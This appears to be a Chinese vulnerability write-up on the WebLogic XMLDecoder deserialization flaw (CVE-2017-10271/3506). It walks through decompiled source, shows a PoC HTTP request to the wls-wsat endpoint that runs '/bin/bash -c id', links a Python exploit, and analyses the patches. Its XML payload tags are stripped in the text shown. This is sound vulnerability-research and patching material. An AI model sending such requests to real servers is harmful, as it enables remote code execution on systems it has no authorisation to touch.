weblogic系列漏洞整理 ———— 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

影响版本

Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本

漏洞分析

通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在

weblogic系列漏洞整理 ———— 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)_第1张图片

从调用栈可以明确的看到源码中weblogic调用函数的过程:

weblogic系列漏洞整理 ———— 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)_第2张图片

processRequest>readHeaderOld>receive>receiveRequest>receiveRequest>readEntry>readUTF

我们发送的poc经过这部分处理,就到了

中。

processRequest函数源码为:

public NextAction processRequest(Packet var1) {
   this.isUseOldFormat = false;
   if(var1.getMessage() != null) {
      HeaderList var2 = var1.getMessage().getHeaders();
      Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
      if(var3 != null) {
         this.readHeaderOld(var3);
         this.isUseOldFormat = true;
      }
      Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
      if(var4 != null) {
         this.readHeader(var4);
      }
   }

WorkAreaConstants.WORK_AREA_HEADER:

public interface WorkAreaConstants{
    String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
    String WORK_PREFIX = "work";
    String XML_TAG_WORK_CONTEXT = "WorkContext";
    String XML_TAG = "work:WorkContext";
    QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
    QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}

readHeaderOld源码:

protected void readHeaderOld(Header var1) {
   try {
      XMLStreamReader var2 = var1.readHeader();
      var2.nextTag();
      var2.nextTag();
      XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
      XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
      var3.bridge(var2, var5);
      var5.close();
      WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
      this.receive(var6);
   } catch (XMLStreamException var7) {
      throw new WebServiceException(var7);
   } catch (IOException var8) {
      throw new WebServiceException(var8);
   }
}

其中:

ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组
ByteArrayInputStream: 将字节数组转化为输入流

上述过程中,var4会被赋予Poc中java标签内的代码,即:


                        
                            
                                
                                    /bin/bash
                                
                                
                                    -c
                                
                                
                                id > /tmp/b4z
                                
                            
                        
                    

WorkContextXmlInputAdapter代码:

public WorkContextXmlInputAdapter(InputStream var1){
    this.xmlDecoder = new XMLDecoder(var1);
}

可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。

利用过程

poc如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113

 
            
                
                    
                        
                            
                                
                                    /bin/bash
                                
                                
                                    -c
                                
                                
                                id > /tmp/b4
                                
                            
                        
                    
                
            
        

python版完整利用代码: https://github.com/b4zinga/Explib/blob/master/weblogic.py

修复建议

  • 安装补丁

四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()

public WorkContextXmlInputAdapter(InputStream is)  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();    try
    {      int next = 0;
      next = is.read();      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }    catch (Exception e)
    {      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }  
  private void validate(InputStream is)  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException        {          if (qName.equalsIgnoreCase("object")) {            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }    catch (ParserConfigurationException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (SAXException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (IOException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }
  }

其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。

10271补丁:

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

本次限制了object,new, method, void,array等关键字段,这样就不能生成Java实例,所以不能执行命令。

  • 删除WLS-WebServices组件

Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war Middleware/wlserver_10.3/server/lib/wls-wsat.war

你可能感兴趣的:(【服务器漏洞】,———WebLogic)